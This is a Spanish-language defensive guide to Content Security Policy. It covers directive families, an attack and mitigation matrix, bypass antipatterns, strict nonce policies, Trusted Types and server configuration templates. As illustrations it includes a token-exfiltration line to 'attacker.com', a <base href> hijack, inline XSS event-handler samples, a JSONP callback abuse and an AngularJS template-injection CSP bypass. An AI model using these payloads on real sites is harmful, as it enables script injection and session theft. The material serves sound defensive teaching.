Durante más de una década, los equipos de ingeniería han tratado a Content Security Policy (CSP) como una simple cabecera HTTP para «marcar la casilla de seguridad en un scan de compliance» o como una supuesta cura milagrosa contra XSS.
Ambas posturas son erróneas.
Una política mal concebida basada en allowlists de dominios (script-src https://trusted.cdn.com) es fácilmente bypasseable en minutos mediante JSONP o Client-Side
Template Injection. Por otro lado, una política restrictiva sin una
arquitectura de desarrollo desacoplada rompe aplicaciones enteras en
producción.
CSP es en realidad un mecanismo de control de ejecución y carga en tiempo de ejecución del navegador, diseñado como una barrera de defensa en profundidad. No sustituye la sanitización ni el contextual output encoding, pero cuando se implementa con Strict Nonces, ‘strict-dynamic’ y Trusted Types, neutraliza de raíz familias enteras de explotación.
Esta guía desglosa la mecánica interna de CSP, analiza cada vector de ataque con su impacto y mitigación, expone los métodos reales de bypass y proporciona una hoja de ruta técnica para llevar una aplicación desde cero hasta un estado de enforcement estricto sin fricción operativa.
01. Fundamentos Arquitectónicos: El Modelo de Seguridad del Navegador
1.1 El rol de CSP en el Sandbox del Navegador
El navegador web ejecuta código dentro del contexto del Same-Origin Policy (SOP). Sin embargo, una vez que un atacante logra inyectar HTML/JS en un origen legítimo (XSS), el SOP no ofrece protección: el script inyectado hereda la identidad, almacenamiento y privilegios del origen.
CSP actúa como una capa de autorización de bajo nivel en el motor de renderizado. Dicta qué orígenes, esquemas, hashes o nonces tienen permiso para:
-
1.
Ejecutar: Código interpretado (JavaScript, WebAssembly).
-
2.
Cargar: Recursos secundarios (imágenes, fuentes, hojas de estilo, media).
-
3.
Conectar: Sockets remotos o APIs HTTP (
fetch,XMLHttpRequest,WebSocket,EventSource). -
4.
Embeber / Ser embebido: Contextos de navegación anidados (
iframe,frame,object). -
5.
Navegar y enviar: Información confidencial (formularios POST, manipulaciones de
<base>).
CSP no es un sustituto de la programación segura. Un fallo de Cross-Site Scripting debe corregirse en el código fuente mediante contextual output encoding, sanitización estricta y APIs seguras. CSP es el cinturón de seguridad que minimiza o anula el impacto si la primera línea de defensa falla.
1.3 De CSP Level 1 a CSP Level 3: El Fracaso de las Allowlists
Basado puramente en listas de dominios permitidos (script-src https://example.com https://cdn.com). Demostró ser ineficaz: más del 95% de las políticas basadas en
allowlists en la web son vulnerables a bypasses triviales (APIs
JSONP alojadas en esos dominios, endpoints abiertos de redirección
o librerías desactualizadas).
Introducción de Nonces criptográficos ('nonce-r@nd0m') y Hashes ('sha256-...'). Permite
bloquear scripts inline mientras se autorizan fragmentos
específicos.
Introducción de 'strict-dynamic',
eliminación gradual de esquemas URL en favor de nonces, soporte
integral para Worker isolation, modernización de endpoints con
Reporting-Endpoints y la llegada de
W3C Trusted Types para erradicar DOM-based XSS.
02. Taxonomía Integral: Las 6 Familias de Directivas
Para estructurar la postura de seguridad de una plataforma web moderna, el universo de directivas de CSP se organiza en 6 dominios funcionales:
| Familia | Directiva Principal | Función Crítica | Configuración Defensiva Recomendada |
|---|---|---|---|
| Execution |
script-src
worker-src
|
Controla qué JavaScript y Workers se ejecutan. | ‘nonce-{RANDOM}’ ‘strict-dynamic’ |
| Resources |
default-src
connect-src
object-src
|
Define el fallback por defecto y destinos de red/plugins. | default-src ‘none’; object-src ‘none’; connect-src ‘self’ |
| Framing |
frame-ancestors
frame-src
|
Previene Clickjacking e incrustación no autorizada de iframes. | frame-ancestors ‘none’; frame-src ‘none’ |
| Navigation |
form-action
base-uri
|
Previene robo de credenciales en formularios y manipulación del <base>. | form-action ‘self’; base-uri ‘self’ |
| Hardening |
require-trusted-types-for
upgrade-insecure-requests
|
Fuerza tipado seguro en DOM Sinks y eleva enlaces a HTTPS. | require-trusted-types-for ‘script’; upgrade-insecure-requests; |
| Telemetry |
report-to
Report-Only
|
Envía alertas estructuradas ante intentos de violación. | report-to csp-endpoint; |
03. Matriz de Vectores de Ataque, Impacto y Mitigación
A continuación se detalla cada vector de amenaza bajo el flujo: Ataque → Condición Vulnerable → Impacto → Directiva CSP → Mitigación en Código.
3.1 XSS Clásico (Reflected / Stored / DOM)
CRÍTICO- Ataque: El atacante inyecta una cadena de JavaScript que el navegador interpreta en el contexto de seguridad de la víctima.
- Condición: Falta de escaping contextual en plantillas de servidor o asignación insegura de datos no confiables en el DOM.
-
Impacto: Robo de
tokens de sesión (
localStorage), suplantación de identidad, ejecución de acciones forzadas, exfiltración de PII. -
Directiva CSP:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0mStr1ng' 'strict-dynamic';
-
PHP 8+: Emplear
htmlspecialchars($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'). -
JavaScript Moderno: Utilizar
element.textContenten lugar deelement.innerHTML. - Validación de Tipos: No confiar ciegamente en inputs numéricos o IDs; validar formatos con schemas estrictos (Zod, Valibot).
3.2 Inline Script Injection & Inline Event Handlers
ALTO-
Ataque: Inyección
de etiquetas directas
<script>exploit()</script>o atributos de eventos HTML<svg onload="exploit()">,
<img src=x onerror="exploit()">o<button onclick="exploit()">. - Condición: La aplicación evalúa HTML crudo suministrado por el usuario y permite scripts en línea sin control.
- Impacto: Ejecución inmediata de código arbitrario sin requerir descargas externas.
-
Directiva CSP:
Prohibido
script-src 'unsafe-inline'. Usar únicamente Nonces:Content-Security-Policy: script-src 'nonce-EDNnf03nce24hgngs';
// INSEGURO (Requiere 'unsafe-inline')
// <button id="pay-btn" onclick="processPayment(1250)">Pagar</button>
// SEGURO (Compatible con CSP estricta)
// <button id="pay-btn" data-amount="1250">Pagar</button>
document.addEventListener('DOMContentLoaded', () => {
const payBtn = document.querySelector('#pay-btn');
if (payBtn) {
payBtn.addEventListener('click', (e) => {
const amount = e.currentTarget.getAttribute('data-amount');
processPayment(amount);
});
}
});
3.3 Dynamic Code Execution (eval, new Function, setTimeout)
ALTO-
Ataque: Inyección
de strings dentro de sinks de compilación dinámica en tiempo de
ejecución (
eval("result = " + userInput)). - Condición: Uso de APIs de JavaScript que invocan el compilador interno del motor V8/SpiderMonkey sobre cadenas no estáticas.
- Impacto: Ejecución remota de código en el contexto del cliente (DOM XSS / Logic Hijacking).
-
Directiva CSP:
Por defecto CSP bloquea invocaciones a
eval()a menos que se fuerce'unsafe-eval'.
3.4 Compromiso de Terceros & CDN Supply-Chain Hijacking
MEDIO-ALTO-
Ataque: Un
repositorio o CDN público (
https://cdn.example.com/lib.js) sufre una intrusión. El script legítimo es reemplazado por un payload malicioso. -
Condición:
Confianza ciega en dominios externos en la directiva
script-src. - Impacto: Compromiso total de todas las sesiones de usuarios.
1. Subresource Integrity (SRI): Validar hash criptográfico SHA-384/SHA-512:
<script
src="https://trusted-cdn.example.com/library-v3.2.1.min.js"
integrity="sha384-wqnC6nPujCwJxDYsn5hFpu6zkYYqSbId6G5v5luhmsTuWn9u5Dk1h5Fp9Gqj5U7m"
crossorigin="anonymous">
</script>
2. Self-hosting: Alojar las dependencias
estáticas en el propio origen (/assets/vendor/).
3.5 Fallas de Cadena de Suministro en Bundles (node_modules)
MEDIO-
Ataque: Un
paquete dependiente en
npmes comprometido y se empaqueta dentro del bundle finalapp.bundle.js. -
Límite de CSP:
Dado que se sirve desde
'self'con nonce válido, CSP no bloquea su ejecución interna, pero mitiga canales de exfiltración de red (connect-src). -
Mitigación Real:
Lockfiles obligatorios en CI (
--frozen-lockfile), escaneo automatizado (Trivy, Snyk,npm audit) y generación de SBOM CycloneDX.
3.6 JSONP Endpoints y Abuso de Callbacks
ALTO-
Ataque:
Descubrimiento de un endpoint JSONP vulnerable en un dominio
autorizado (
<script src="https://api.trusted.com/user?callback=maliciousPayload"></script>). - Impacto: Bypass total de CSP en políticas basadas en allowlists de dominio.
-
Solución: Migrar
inmediatamente a políticas basadas en
Nonces estrictos con
'strict-dynamic'y reemplazar JSONP por CORS con respuestasapplication/json.
3.7 Pseudo-Protocolos javascript: en Enlaces y Redirecciones
ALTO
Inyección de URIs ejecutables en atributos
href="javascript:...". En CSP Level 3
son bloqueadas si no existe
'unsafe-inline'.
// Validación estricta en PHP 8+
function sanitizeUserUrl(string $url): string {
$filtered = filter_var($url, FILTER_VALIDATE_URL);
if ($filtered === false) {
return '#';
}
$scheme = strtolower(parse_url($filtered, PHP_URL_SCHEME) ?? '');
if (!in_array($scheme, ['https', 'http'], true)) {
return '#';
}
return esc_url($filtered);
}
3.8 Object & Plugin Injection (<object>, <embed>, <applet>)
CRÍTICO
Inserción de elementos
<object data="malicious.swf">
para ejecutar plugins heredados.
3.9 Base URI Manipulation (Tag Hijacking)
ALTO
Inyección de etiquetado
<base href="https://attacker.com/assets/">
para forzar la carga de scripts relativos desde servidores remotos.
3.10 Form Hijacking (Robo de Credenciales y Tokens)
CRÍTICO
Manipulación del atributo action de un
formulario para redirigir credenciales a servidores maliciosos.
3.11 Clickjacking & UI Redressing
ALTO
Embeber la aplicación dentro de un
<iframe> transparente en una
página maliciosa.
3.12 Canales de Exfiltración Out-Of-Band (OOB)
NETWORK HARDENINGCuando un atacante ejecuta JavaScript, intenta extraer datos comprometedores. CSP actúa como cortafuegos saliente limitando los vectores de transporte:
connect-src 'self'
img-src 'self'
style-src 'self'
fetch(),
XMLHttpRequest,
sendBeacon(),
WebSocket.
Content-Security-Policy: connect-src 'self'
https://api.miempresa.com;
new Image().src = "https://attacker.com/k?data=" +
token
Content-Security-Policy: img-src 'self' data:
https://cdn-images.miempresa.com;
Selectores de atributos CSS para exfiltrar contraseñas carácter por carácter.
Content-Security-Policy: style-src 'self'
'nonce-styleNonce';
3.13 Frame Injection y Carga de Contextos Maliciosos
MEDIO
Controla qué URLs puede cargar tu sitio dentro de un iframe (frame-src 'none'
o proveedores aprobados como Stripe).
frame-src: Controla qué URLs puede cargar tu
sitio dentro de un iframe.
frame-ancestors:
Controla qué sitios pueden cargar a tu sitio dentro de un iframe.
3.14 Mixed Content & HTTPS Enforcement
REQUERIDOReescribe automáticamente todas las URLs HTTP secundarias a HTTPS antes de emitir la petición a la red.
04. Bypasses del Mundo Real y Antipatrones de Configuración
Para diseñar una política resistente, es imprescindible comprender cómo los pentesters y atacantes rompen políticas defectuosas.
Content-Security-Policy: default-src 'self'; script-src 'self'
'unsafe-inline' 'unsafe-eval';
Incluir
'unsafe-inline' desactiva
por completo la protección de CSP contra inyecciones directas de
scripts en HTML. Cualquier payload XSS estándar funcionará sin
impedimento.
Si una política permite orígenes masivos que alojan librerías con
gadgets conocidos (e.g.
cdnjs.cloudflare.com o
unpkg.com), un atacante no necesita
inyectar JavaScript en línea: simplemente inyecta una etiqueta de
script cargando una versión vulnerable de AngularJS o Vue.js, y
luego detona un
Client-Side Template Injection (CSTI) en el DOM.
<!-- Bypass de CSP con script-src https://cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>
{{$eval.constructor('alert(document.domain)')()}}
</div>
Content-Security-Policy: script-src 'self' https:
*.s3.amazonaws.com;
https: autoriza la descarga de scripts
desde cualquier servidor HTTPS en el mundo.
*.s3.amazonaws.com autoriza cualquier
bucket de AWS S3, permitiendo al atacante servir su payload desde su
propio bucket.
05. El Enfoque Moderno: Strict CSP & Trusted Types
La especificación moderna de CSP y los equipos de seguridad de Google y
Mozilla recomiendan abandonar las listas de dominios (allowlists) en favor de una Strict CSP basada en Nonces.
5.1 Anatomía de una Strict CSP
Content-Security-Policy:
object-src 'none';
script-src 'nonce-dGhpcy1pcy1hLXJhbmRvbS1ub25jZQ==' 'strict-dynamic' 'unsafe-inline' https: http:;
base-uri 'none';
¿Por qué funciona este conjunto de directivas?
-
'nonce-...': Los navegadores modernos ejecutarán exclusivamente los elementos<script>que contengan este token criptográfico único generado por cada respuesta HTTP. -
'strict-dynamic': Indica al motor del navegador que si un script con nonce legítimo carga dinámicamente dependencias secundarias (e.g., Google Analytics), esas dependencias heredan la confianza automáticamente. -
'unsafe-inline' https: http:: Son incluidos únicamente como fallbacks de compatibilidad retroactiva. Los navegadores con soporte de CSP Level 3 los ignorarán automáticamente en presencia de un nonce y'strict-dynamic'.
5.2 Implementación del Ciclo de Vida del Nonce
Para que un nonce sea seguro, debe cumplir tres condiciones criptográficas:
- Unicidad: Debe generarse mediante un CSPRNG nuevo para cada petición HTTP individual.
- Entropía: Mínimo 128 bits de entropía (16 bytes en Base64).
- No predecible: No depender de timestamps ni de secuencias lineales.
<?php
declare(strict_types=1);
namespace Security;
class CspMiddleware
{
public static function generateNonce(): string
{
// 16 bytes = 128 bits de entropía criptográfica
return base64_encode(random_bytes(16));
}
public static function applyHeaders(): string
{
$nonce = self::generateNonce();
$policy = [
"default-src 'self'",
"object-src 'none'",
"base-uri 'self'",
"form-action 'self'",
"frame-ancestors 'none'",
"script-src 'nonce-{$nonce}' 'strict-dynamic' 'unsafe-inline' https:",
"style-src 'self' 'nonce-{$nonce}' https://fonts.googleapis.com",
"font-src 'self' https://fonts.gstatic.com data:",
"img-src 'self' data: https:",
"connect-src 'self'",
"upgrade-insecure-requests",
];
header('Content-Security-Policy: ' . implode('; ', $policy));
return $nonce;
}
}
5.3 Erradicación de DOM XSS mediante W3C Trusted Types
El DOM XSS ocurre cuando datos no confiables alcanzan un Execution
Sink del DOM (como element.innerHTML,
element.outerHTML,
document.write o
script.src).
Trusted Types es una extensión de CSP que desactiva
la capacidad del navegador de recibir strings sin formato en estos
sinks peligrosos. A partir de su activación, los sinks exigen objetos
fuertemente tipados (TrustedHTML,
TrustedScript,
TrustedScriptURL).
// main.js - Configuración de Trusted Types Policy con DOMPurify
if (window.trustedTypes && window.trustedTypes.createPolicy) {
window.trustedTypes.createPolicy('dompurify-policy', {
createHTML: (untrustedInput) => {
return DOMPurify.sanitize(untrustedInput, { RETURN_TRUSTED_TYPE: false });
},
createScriptURL: (untrustedUrl) => {
const parsed = new URL(untrustedUrl, window.location.origin);
if (parsed.origin === window.location.origin) return parsed.href;
throw new TypeError(`URL de script no permitida: ${untrustedUrl}`);
}
});
}
// ESTO LANZARÁ UN ERROR DE TIPO EN TIEMPO DE EJECUCIÓN:
// document.getElementById('output').innerHTML = "<img src=x onerror=alert(1)>";
// FORMA SEGURA REQUERIDA POR EL NAVEGADOR:
const policy = window.trustedTypes.getPolicy('dompurify-policy');
const cleanHTML = policy.createHTML(userInput);
document.getElementById('output').innerHTML = cleanHTML; // Aceptado: es un objeto TrustedHTML
06. Estrategia de Despliegue en Producción (Zero-Downtime Pipeline)
Implementar CSP en una aplicación en producción sin romper funcionalidades existentes requiere un proceso metódico de 4 fases:
Inventariar librerías de terceros, eliminar JavaScript inline en etiquetas HTML y centralizar scripts en módulos.
En lugar de romper la página, el navegador ejecuta los recursos mientras envía un payload JSON al endpoint de telemetría.
Descartar eventos generados por extensiones del cliente o inyecciones de proveedores ISP.
Activar bloqueo real mediante despliegue gradual (1% → 10% → 50% → 100%).
Estructura del Reporte JSON Recibido (W3C Reporting API v1)
{
"type": "csp-violation",
"age": 12,
"url": "https://app.miempresa.com/dashboard",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
"body": {
"documentURL": "https://app.miempresa.com/dashboard",
"referrer": "https://app.miempresa.com/login",
"blockedURL": "inline",
"effectiveDirective": "script-src-elem",
"originalPolicy": "default-src 'self'; script-src 'nonce-...' ...",
"disposition": "report",
"statusCode": 200,
"sample": "console.log('injected');"
}
}
07. Plantillas de Configuración para Servidores Web
7.1 Nginx (Producción Hardened)
NGINX# /etc/nginx/conf.d/security_headers.conf
server {
listen 443 ssl http2;
server_name app.miempresa.com;
# Opciones de hardening complementarias
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
# Política CSP Base (Backend PHP/Node inyecta los nonces específicos)
add_header Content-Security-Policy "default-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; upgrade-insecure-requests;" always;
}
7.2 Caddy Server (v2)
CADDYapp.miempresa.com {
encode gzip zstd
header {
Content-Security-Policy "default-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests;"
X-Content-Type-Options "nosniff"
Referrer-Policy "strict-origin-when-cross-origin"
}
reverse_proxy localhost:3000
}
7.3 Node.js / Express (con Helmet)
EXPRESS / HELMETimport express from 'express';
import helmet from 'helmet';
import crypto from 'node:crypto';
const app = express();
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use((req, res, next) => {
helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
`'nonce-${res.locals.cspNonce}'`,
"'strict-dynamic'",
"'unsafe-inline'",
"https:"
],
styleSrc: ["'self'", `'nonce-${res.locals.cspNonce}'`],
objectSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: []
}
}
})(req, res, next);
});
08. Herramienta Interactiva: Evaluador Estático de Cabecera CSP
Utiliza este evaluador estático en tiempo real para verificar la robustez de tus cabeceras
Content-Security-Policy.
Analiza directivas declardas, detecta antipatrones críticos (como 'unsafe-inline' o comodines anchos) y emite un reporte con nivel de riesgo y remediación alineado con OWASP.
CSP Auditor Engine v2.6
100% Safe Client-Side Execution • Strict DOM Text Encoding
09. Matriz de Auditoría y Verificación
Antes de declarar una política como completada, debe validarse contra este checklist de control:
| # | Control de Auditoría | Estado Esperado | Riesgo si está Ausente |
|---|---|---|---|
| 1 |
¿Se ha definido
object-src 'none'?
|
Requerido | Ejecución de plugins / exploits de sandbox |
| 2 |
¿Se ha definido
base-uri 'self'
o 'none'?
|
Requerido | Hijacking de rutas relativas con <base href> |
| 3 |
¿Se evita absolutamente
'unsafe-inline'
en script-src?
|
Requerido | Anulación de la defensa anti-XSS |
| 4 |
¿Se evita absolutamente
'unsafe-eval'
en producción?
|
Requerido | Inyección de strings en evaluadores dinámicos |
| 5 |
¿Se utiliza
frame-ancestors
en lugar de X-Frame-Options?
|
Requerido | Vulnerabilidad ante ataques de Clickjacking avanzados |
| 6 |
¿Se ha configurado
form-action
explícito?
|
Requerido | Robo de credenciales vía desvío de formularios |
| 7 | ¿Los Nonces son criptográficamente aleatorios por request? | Requerido | Reutilización de nonces y bypass de scripts |
| 8 |
¿Existe un pipeline de telemetría con
report-to?
|
Requerido | Ceguera operativa ante ataques o fallas en producción |
| 9 |
¿Está activado
upgrade-insecure-requests?
|
Requerido | Degradación por Mixed-Content en conexiones HTTPS |
| 10 | ¿Se evalúa la política con Google CSP Evaluator? | Score: Clean | Descubrimiento temprano de gadgets y bypasses |
Conclusión
Content Security Policy no es una capa decorativa ni una solución mágica para el código defectuoso. Es una declaración formal de arquitectura de ejecución del lado del cliente.
El paso definitivo para cualquier organización de ingeniería que aspire a una postura de seguridad robusta es superar el viejo paradigma de listas blancas de dominios y adoptar una política moderna de Strict CSP (Nonces + ‘strict-dynamic’) integrada con Trusted Types. Esto transforma el navegador de un entorno permisivo a una máquina de estados estrictamente controlada donde el código no autorizado carece de vías de ejecución.